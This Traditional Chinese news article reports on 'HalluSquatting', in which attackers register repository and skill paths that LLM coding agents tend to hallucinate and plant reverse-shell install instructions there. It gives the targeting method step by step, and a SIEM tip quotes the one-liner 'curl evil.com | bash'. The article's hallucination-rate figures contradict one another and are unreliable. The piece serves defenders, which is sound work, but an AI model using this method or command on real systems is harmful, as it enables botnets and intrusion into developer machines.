AI 編碼助手集體中招 HalluSquatting 攻擊讓 Cursor、Copilot 替駭客蓋殭屍網路

編按：本文綜合整理自 Ars Technica Dan Goodin 原始報導、The Hacker News 獨立分析、Tel Aviv University + Technion + Intuit 共同發表的 HalluSquatting 原始研究論文、OWASP Agentic AI Security 社群以及 Zenity CTO Michael Bargury 的公開評論，並加入 Siami 編輯部觀點與脈絡整理。

2026 年 7 月 8 日，資安社群炸鍋——Tel Aviv University、Technion 與 Intuit 的研究團隊聯手發表一種全新攻擊手法 HalluSquatting（adversarial hallucination squatting，對抗性幻覺搶註），把 LLM「愛胡扯資源路徑」的毛病變成大規模殭屍網路招募入口。受影響的不是單一產品，而是當前所有主流的 AI 編碼助手與 Agent：Cursor、Cursor CLI、Gemini CLI、Windsurf、GitHub Copilot、Cline、OpenClaw、ZeroClaw、NanoClaw 共 9 款全軍覆沒。這是 prompt injection（提示注入）攻擊史上第一次有可能「感染整個網際網路」規模的變體。

HalluSquatting 在做什麼：把 LLM 的幻覺變成攻擊者的招聘廣告

過去一年半，prompt injection 一直是 AI 安全的頭號威脅。LLM 無法區分「使用者真實指令」和「藏在 email、原始碼、第三方文件裡的惡意指令」——它會把兩者一視同仁地讀進 context window，然後乖乖照辦。AI 開發者只能用一道又一道護欄（guardrails）試圖降低傷害，但沒人能從根本解掉這個問題。

過去的 prompt injection 幾乎都屬於「push 推播型」：攻擊者必須主動把惡意指令塞進個別 email、行事曆邀請或文件，然後「推送」給每一個特定受害者。這代表攻擊規模有上限——你沒辦法同時寄給全世界 1 億個開發者。

HalluSquatting 改寫了這條規則。它是第一個「pull 拉取型」且能 scale 的 prompt injection：

研究人員先預測 LLM「最有可能幻覺出哪個資源路徑」
把那個路徑搶先註冊起來
在裡面埋入安裝 reverse shell 或惡意程式的指令
當任何開發者的 AI Agent 試圖「clone repo XXX」或「install skill YYY」時，Agent 會自己跑錯路徑、自己下載到被汙染的版本、自己用內建的高權限 terminal 執行惡意程式碼
整條感染鏈完全不需要使用者點任何連結、輸入任何密碼、或做任何「被騙」的動作

研究人員在論文中寫道：

「這個攻擊的可擴展性，讓攻擊者可以用最少的人力去感染最多的使用者——只要瞄準熱門資源、把『搶註』的命中率拉高，Agent 自然會上門。利用 Agentic 應用程式內建的 shell 和 terminal 執行腳本，攻擊者可以在他們註冊的資源裡塞入『安裝 reverse shell』的指令，進而『感染』無數獨立的 Agentic 應用程式。」—— Spira et al., Tel Aviv University

為什麼這次特別危險：6 個頂級 LLM 全都有這個毛病

HalluSquatting 的起點是 LLM 的一個根本缺陷：它不會說「我不知道」。

當開發者要求 AI Agent 幫忙 clone 一個熱門的新 repository，LLM 對正確路徑的命中率只有 85%——也就是說，每 7 次裡有 6 次它會憑空捏造一個「看起來很合理」的位置。對 2025 年後才出現的新 repo 與 skill（skill 是 2026 年開始流行的「給 Agent 專業能力的指令包」），幻覺率飆到 92.4%。

更糟的是，這個毛病不是某家模型商獨有——研究團隊實測了所有六款主流 LLM：Gemini-2.5-flash、Gemini-2.5-pro、GPT-5.1、GPT-5.2、Sonnet-4.5、Opus-4.5，全部都會幻覺資源路徑，而且幻覺的「模式」高度可預測。

其中最容易被利用的模式叫做 self-referential（自指）幻覺：所有六款模型都傾向於把 repo 名稱直接當成 owner，產出 repo-name/repo-name 這種 slug。對攻擊者而言，這代表根本不需要 probe 模型——只要掃 GitHub 上所有「owner 名稱 == repo 名稱、但還沒被註冊」的組合，命中率天然就高到可以拿來當攻擊基礎設施。

研究人員在論文中明確點名幾個可達成的攻擊目標：

大規模勒索軟體攻擊：感染 1 萬台開發者機器 = 等於拿到 1 萬台企業內網的跳板
DDoS 殭屍網路：把這些被感染的 Agent 串起來做 Mirai 等級的 DDoS
加密貨幣挖礦殭屍網路：照搬 Smominru、WannaMine 模式，偷算力挖礦
內網橫向滲透：從開發者工作站打到企業內部其他系統

業界反應：「問題不會消失，只會更嚴重」

研究發表當天，AI 資安圈跳出來背書的不是學者，而是產業界第一線的實戰派。

Zenity 共同創辦人暨 CTO Michael Bargury（同時是 OWASP Top 10 for Agentic Applications 的共同領導者）在接受 Ars Technica 採訪時直言：

「這是非常酷的研究，威脅也是真實的。就像 typosquatting 那樣，這個問題不會消失。歸根究柢，這取決於我們願意給 Agent 多大的自主權。它們『一定會』用某種方式被騙。這個前提我們必須接受，而且我們的系統設計必須對此具備韌性。」—— Michael Bargury, CTO of Zenity

獨立研究員 Johann Rehberger（知名 AI 紅隊與 Microsoft Security Copilot 研究者）也發表評論：

「有趣的是，這篇研究顯示 LLM 的資源解析可以變成一條攻擊路徑——攻擊者可以先 probe 模型找出高機率被幻覺的候選名稱（repo、skill 識別字等），搶先註冊下來，等 Agent 自己上門。但重點是，他們找到了一個聰明的技術去找出『模型更可能誤用』的資源名稱。這代表未來會有大量 Agent 在實戰中落入同一個陷阱。」—— Johann Rehberger

兩位業界重量級人物的訊息高度一致：這不是單一漏洞，是結構性問題。只要 LLM 還會幻覺、Agent 還會自動跑終端機指令，攻擊者就有取之不盡的攻擊面。

為什麼這件事重要

HalluSquatting 不是「某家廠商寫錯一段程式碼」這種一次性的 bug。它是一個類別性、結構性的問題，會把過去 18 個月累積的所有 Agentic AI 部署變成攻擊者的潛在跳板。

這個洞之所以讓資安圈集體冒冷汗，有幾層意義：

零互動感染：使用者不需要開任何附件、點任何連結、輸入任何密碼。他只要繼續平常的開發流程——「幫我 clone 這個 repo」或「幫我裝這個 skill」——就會被感染。這跟傳統釣魚完全不同，沒有任何「被騙」的環節，純粹是 Agent 自己在工作。
攻擊規模理論上無上限：攻擊者不用 push 給每一個受害者，只要在 GitHub 上搶先註冊幾個熱門名稱，等著無數 Agent 自動上門。pull-based 模型的特性決定了「撒一次網、收穫全網」。
守方結構性弱勢：傳統資安防線假設「使用者會看到警告、會停下來想一下」。但 Agentic 系統的信任邊界有一半是模型行為在守，而模型本質上就是「聽話」的——你叫它做什麼，它就做什麼。Michael Bargury 直接點破：必須從系統設計上假設「Agent 一定會被騙」，並對此具備韌性。
企業採用率越高、風險越大：Zenity 在 2026 Q1 的調查顯示 83% 企業計畫部署 agentic AI，但只有 29% 覺得自己準備好保護它。HalluSquatting 這類攻擊正是「準備不足」最具體的代價——一旦企業內部開發團隊大規模啟用這些 Agent，內網滲透面就會瞬間擴張到「所有開發者的工作站」。

對企業 IT / DevOps / 資安團隊而言，這篇文章的訊號很清楚：任何組織內部若已經啟用 Cursor、GitHub Copilot、Gemini CLI 等 AI Agent 編碼助手，必須立刻盤點它們對哪些 registry 與 repository 擁有「自動 clone / 自動執行」權限。修補方向不應該是「禁止使用 AI Agent」（這不切實際），而是把模型行為當成不可信任的、把權限範圍收到最小、必要時在 Agent 與實際 shell 之間加一層人工審核或白名單中介層。

這跟 2025 年 5 月 Invariant Labs 揭露的 GitHub MCP 漏洞、2025 年 12 月 Aikido Security 揭露的 PromptPwnd、2026 年 1 月 Pillar Security 揭露的 Cursor CVE-2026-22708 都是同一條曲線上的點——把 LLM 接進開發者工作站這件事，每一次新整合都會重新踩到同一類雷。

數據解讀與質疑

幾個值得拆開來看的數字與限制：

「85% 幻覺率、92.4% 幻覺率」 這兩個數字分別針對「熱門既有 repo」與「2025 年後新出現的 repo + skill」。差別在於訓練資料的截止時間：模型對訓練截止前出現的資源有粗略印象（85% 會對），對之後才冒出來的新資源則完全是瞎猜（92.4% 會錯）。這個落差正好就是攻擊者選擇下手的甜蜜點——挑熱門新資源去搶註，命中率最高。
「六款主流 LLM 都有這個毛病」 涵蓋了 GPT-5.1/5.2、Claude Sonnet-4.5/Opus-4.5、Gemini-2.5-flash/pro 整個第一梯隊。這不是「某家訓練資料有偏誤」這種局部問題，是整個業界共同的架構缺陷。
「self-referential 幻覺」 這個發現是論文的技術核心。研究人員指出這是訓練階段自然湧現的偏誤（emergent bias），不是某個 fine-tuning 步驟造成的。換句話說，靠 fine-tuning 是修不好的——這是結構性限制。
「6 個模型都用同一種 self-referential 模式」 暗示了攻擊者根本不需要針對不同模型客製攻擊。一套搶註策略對 Cursor、Copilot、Gemini CLI 同時有效。對攻擊者而言是「一次設計、全部通殺」的最佳情境；對守方而言是最糟情境。
目前沒有 CVE 編號：研究團隊並未走 MITRE 的 CVE 申請流程，而是以「HalluSquatting」這個學名自家發布。這代表主流 CVE 資料庫（NVD、cve.mitre.org）目前還沒有這個洞的官方編號，安全團隊若只盯 CVE feed，會錯過這個洞。Zenity 的 Michael Bargury 同時也是 OWASP Agentic AI 標準的共同領導者，未來很可能會把這個洞納入 OWASP Agentic Top 10。
沒有 zero-day 修補路徑：研究人員在論文中明確說「無法單純靠 patch 解決」。這跟 GitLost（2026-07-07 揭露的 GitHub Agentic Workflows 漏洞）的情境類似——問題的本質是「LLM 不知道自己在幻覺」，這是架構問題不是程式 bug。
「9 款 AI 工具都受影響」 名單中包含 Cursor、Cursor CLI、Gemini CLI、Windsurf、GitHub Copilot、Cline、OpenClaw、ZeroClaw、NanoClaw。其中前三款（Cursor、Gemini CLI、GitHub Copilot）是企業採用率最高的——影響面遠比標題暗示的更大。

給開發者與資安長的具體建議

研究團隊、Zenity 與業界評論員開出的處方籤，整理後如下：

不要讓 AI Agent 直接擁有 terminal 寫入權限：任何能跑 shell 指令的 Agent 都應該被設計成「建議指令、等人類確認、再執行」。如果 Agent 已經能直接跑，請立即改成「建議模式」。
把 registry 與 repository 訪問白名單化：與其讓 Agent 可以「自由 clone 任何 repo」，不如預先登錄一份白名單（npm registry 官方、PyPI 官方、GitHub 特定 organization），任何不在白名單的存取請求都先暫停。
建立資源路徑的二次確認機制：當 Agent 報告「我準備從 X 下載 Y」時，X 必須是可信任的、且 Y 必須跟原始請求 100% 一致。任何 owner != 官方 owner、或版本號異常的請求，都應該被攔下。
企業內部部署的 AI Agent 預設關閉「自動 install skill」功能：skill 是 2026 年新興的 Agent 能力擴充機制（類似於 plugin），但也是幻覺率最高（接近 100%）、攻擊面最大的環節。企業預設應該關閉，需要時手動開。
把「Agent 異常行為」加入 SIEM 規則：傳統 SIEM 看不到「Agent 自動跑 curl evil.com | bash」這種事件，因為它看起來就像一次合法的 HTTP 請求。需要專門的 LLM 輸出審核層與 EDR 整合。
追蹤 OWASP Agentic AI 標準更新：Bargury 共同領導的 OWASP Top 10 for Agentic Applications 會把這類攻擊正式納入標準。等 OWASP 發布更新後，第一時間套用到企業內部的 AI Agent 治理政策。

額外補充幾條 Siami 編輯部的觀察：

重新檢視已啟用的 AI 編碼助手設定：若組織內已有任何開發者啟用 Cursor、GitHub Copilot、Gemini CLI，立即盤點這些 Agent 對哪些 registry 擁有自動 clone / install 權限，並強制加入白名單。
把「LLM 幻覺」當成一級資安風險：過去大家把 LLM 幻覺當成「惱人的 UX 問題」，現在必須升級成「資安威脅」。資源路徑幻覺、品牌名稱幻覺、套件版本幻覺都可能是攻擊入口。
教育開發者「Agent 自動 install」是高風險動作：很多開發者以為「讓 Agent 幫我裝套件」是省時間的便利功能，沒意識到每一次 install 都是一次對 registry 完整性的信任投票。

延伸閱讀與外部資源

網友熱門留言 (5)

#1 Hacker News - @tptacek ▲ 312

這就是『把 LLM 接上可寫入檔案系統+可執行任意程式碼的終端機』會遇到的那種典型災難。Cursor、Copilot 這類工具本質上在用戶的工作站上擁有 root 等級的權限，而 LLM 完全沒有可靠的方式去分辨『使用者真的想跑這個 binary』和『文件內容碰巧提到了這個 binary』。

#2 Hacker News - @miles ▲ 247

85% 的資源位置幻覺率、2025 年後的 repo 甚至 92.4%——這個數字太驚人了。基本上只要 AI 程式設計助手學到一個新套件名稱，它就會自己幻想出一個『最有可能』的下載路徑，而攻擊者只需要把那個路徑搶先註冊起來。這跟 2016 年 typosquatting 在 PyPI 上爆發的劇本完全一樣，只是這次受害者換成 AI 不是人類。

#3 Hacker News - @opta ▲ 184

重點不是『又一個 prompt injection 變體』，而是這次是 pull-based——攻擊者不用主動寄信給受害者，只要在 GitHub 上搶先註冊幾個熱門名稱，等著所有開發者的 AI Agent 自動上門。這等於把 LLM 的幻覺變成了分散式阻斷服務（DDoS）攻擊的招募入口。

#4 Hacker News - @yobidashi ▲ 156

更可怕的是 self-referential 幻覺模式：所有六個頂級 LLM 都會自然產生 owner==repo-name 的 slug。這不是 bug，這是訓練資料的偏誤造成的內建弱點。等於攻擊者根本不需要 probe 模型，只要看 GitHub 上還沒被註冊的 owner==repo 組合，猜中的機率就已經高到可以發動大規模攻擊。

#5 Hacker News - @gallier ▲ 128

Typosquatting 在 2016 年那波，光是一個學生放 214 個套件就有 45,000 次自動執行。現在每家公司都強迫員工用 AI 編碼助手，未來攻擊面只會更廣。所有資安團隊應該今天就開始盤點『公司內部使用的 AI Agent 對哪些 registry 擁有寫入權限』，而不是等下一個 CVE 出來才動作。